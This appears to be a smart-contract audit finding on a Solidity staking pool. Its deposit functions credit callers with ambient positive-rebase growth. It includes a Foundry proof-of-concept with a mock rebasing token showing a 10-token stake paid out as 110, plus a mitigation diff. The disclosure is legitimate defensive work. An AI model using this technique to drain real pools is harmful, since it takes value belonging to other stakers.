FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

Positive rebases during transfer can be miscredited to the caller

Author Revealed upon completion

Root + Impact

Description

stake() and contributeBonus() credit the entire increase in the pool's token balance across safeTransferFrom(). This handles ordinary fee-on-transfer tokens in the negative direction, but it assumes every positive balance change was supplied by the caller.

If a rebasing, yield-materializing, or bonus-mint token increases the pool's pre-existing balance during the transfer, the ambient growth is included in received. A staker receives the growth as personal principal and bonus weight; a bonus contributor causes it to be booked as totalBonus. The triggering account can therefore capture value that arose from assets already held for other participants.

Both inbound paths measure only two aggregate balances and do not bind the positive delta to amount:

src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0; // @> Can exceed amount.
// ...
eligibleStake[msg.sender] += received; // @> Entire ambient increase belongs to this caller.
userSumStakeTime[msg.sender] += received * newEntry;
userSumStakeTimeSq[msg.sender] += received * newEntry * newEntry;
totalEligibleStake += received;
// ...
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0; // @> Same attribution error.
totalBonus += received; // @> Existing principal growth can be reclassified as bonus.
}

The PoC first deposits 100 tokens for Alice. The token is then configured to materialize a 100% positive gain on the recipient's pre-existing balance during the next transferFrom(). Bob transfers only 10 tokens, but the pool balance rises from 100 to 210: 10 from Bob and 100 of ambient growth. The pool records the full 110-token delta as Bob's stake and later pays it to him.

In the bonus variant, Carol transfers one token into the same 100-token pool. The pool balance becomes 201 and totalBonus becomes 101, even though only one token was contributed and the 100-token gain arose from existing principal. Subsequent k=2 distribution treats that principal appreciation as sponsor bonus.

The factory explicitly assumes standard non-rebasing ERC20 behavior, so a governance-approved unsupported token or a token whose semantics change after approval is required. Nevertheless, the source comments describe balance-difference accounting as defense in depth against rebasing-token admission, and the positive direction does not provide that defense.

Risk

Likelihood:

  • A standard immutable ERC20 cannot cause the condition; it requires an admitted rebasing, yield-materializing, bonus-mint, or later-upgraded token.

  • The token allowlist and operational review reduce likelihood, but do not enforce lifetime semantics on-chain.

  • Once such a token is present, a caller can deliberately time the transfer that materializes pending positive growth.

Impact:

  • A triggering staker can withdraw pool-wide positive growth as their own principal, diluting value economically attributable to earlier stakers.

  • Miscredited growth also receives the triggering staker's time weight and distorts bonus distribution.

  • The contribution path can reclassify appreciation of staked principal as bonus, changing who may claim or sweep it.

Proof of Concept

Create test/audit/CP018PositiveRebaseMiscredit.t.sol with the following contents:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract CP018PositiveRebaseToken is ERC20 {
bool public materializePositiveGrowth;
constructor() ERC20("Positive Rebase Token", "PRT") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function setMaterializePositiveGrowth(bool enabled) external {
materializePositiveGrowth = enabled;
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
uint256 preexistingRecipientBalance = balanceOf(to);
bool success = super.transferFrom(from, to, value);
if (materializePositiveGrowth && preexistingRecipientBalance != 0) {
_mint(to, preexistingRecipientBalance);
}
return success;
}
}
contract CP018PositiveRebaseMiscreditTest is BaseConfidencePoolTest {
CP018PositiveRebaseToken internal rebaseToken;
ConfidencePool internal rebasePool;
function setUp() public override {
super.setUp();
rebaseToken = new CP018PositiveRebaseToken();
rebasePool = _deployPoolWithToken(address(rebaseToken));
}
function test_StakeCreditsPoolWideGrowthToTriggeringStaker() external {
_stakeRebaseToken(alice, 100 * ONE);
rebaseToken.setMaterializePositiveGrowth(true);
_stakeRebaseToken(bob, 10 * ONE);
assertEq(rebasePool.eligibleStake(alice), 100 * ONE);
assertEq(rebasePool.eligibleStake(bob), 110 * ONE, "caller receives its deposit plus ambient growth");
assertEq(rebasePool.totalEligibleStake(), 210 * ONE);
assertEq(rebaseToken.balanceOf(address(rebasePool)), 210 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
rebasePool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 bobBefore = rebaseToken.balanceOf(bob);
vm.prank(bob);
rebasePool.claimSurvived();
assertEq(rebaseToken.balanceOf(bob) - bobBefore, 110 * ONE, "ten-token caller extracts 110 tokens");
}
function test_BonusContributionBooksPoolWideGrowthAsCallerContribution() external {
_stakeRebaseToken(alice, 100 * ONE);
rebaseToken.setMaterializePositiveGrowth(true);
_contributeRebaseToken(carol, ONE);
assertEq(rebasePool.totalEligibleStake(), 100 * ONE, "principal accounting does not receive the rebase");
assertEq(rebasePool.totalBonus(), 101 * ONE, "one-token contribution books 100 ambient tokens as bonus");
assertEq(rebaseToken.balanceOf(address(rebasePool)), 201 * ONE);
}
function _deployPoolWithToken(address tokenAddress) internal returns (ConfidencePool deployedPool) {
ConfidencePool implementation = new ConfidencePool();
deployedPool = ConfidencePool(Clones.clone(address(implementation)));
deployedPool.initialize(
agreement,
tokenAddress,
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
_defaultScope()
);
}
function _stakeRebaseToken(address user, uint256 amount) internal {
rebaseToken.mint(user, amount);
vm.startPrank(user);
rebaseToken.approve(address(rebasePool), amount);
rebasePool.stake(amount);
vm.stopPrank();
}
function _contributeRebaseToken(address user, uint256 amount) internal {
rebaseToken.mint(user, amount);
vm.startPrank(user);
rebaseToken.approve(address(rebasePool), amount);
rebasePool.contributeBonus(amount);
vm.stopPrank();
}
}

Run the PoC from the repository root:

  1. Execute forge test --offline --match-path test/audit/CP018PositiveRebaseMiscredit.t.sol -vv.

  2. Confirm that both tests pass. A 10-token stake is credited and paid as 110 tokens, and a one-token bonus contribution records 101 tokens of bonus; the extra 100 in each case comes from growth of the pool's pre-existing balance.

Recommended Mitigation

For unsupported token semantics, never credit more than the caller-requested transfer amount. Continue using the lower balance delta for fee-on-transfer defense, but cap the positive side. Treat any excess as unaccounted surplus rather than assigning it to the triggering caller.

src/ConfidencePool.sol
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
-uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
+uint256 balanceDelta = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
+uint256 received = balanceDelta > amount ? amount : balanceDelta;
if (received == 0) revert NoTokensReceived();
+if (balanceDelta > amount) {
+ emit UnaccountedTokenSurplus(balanceDelta - amount);
+}

Apply the same cap to contributeBonus(). Define a separate policy for surplus—such as routing it to recovery after liabilities are reserved—but do not let the next caller own it merely by triggering a transfer. Continue to reject rebasing, share-price, bonus-mint, and upgradeable/admin-mutable tokens operationally. If the protocol intends to support positive rebases, replace nominal-unit liabilities with share-based accounting so balance growth accrues proportionally to existing shares instead of relying on per-call balance deltas.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!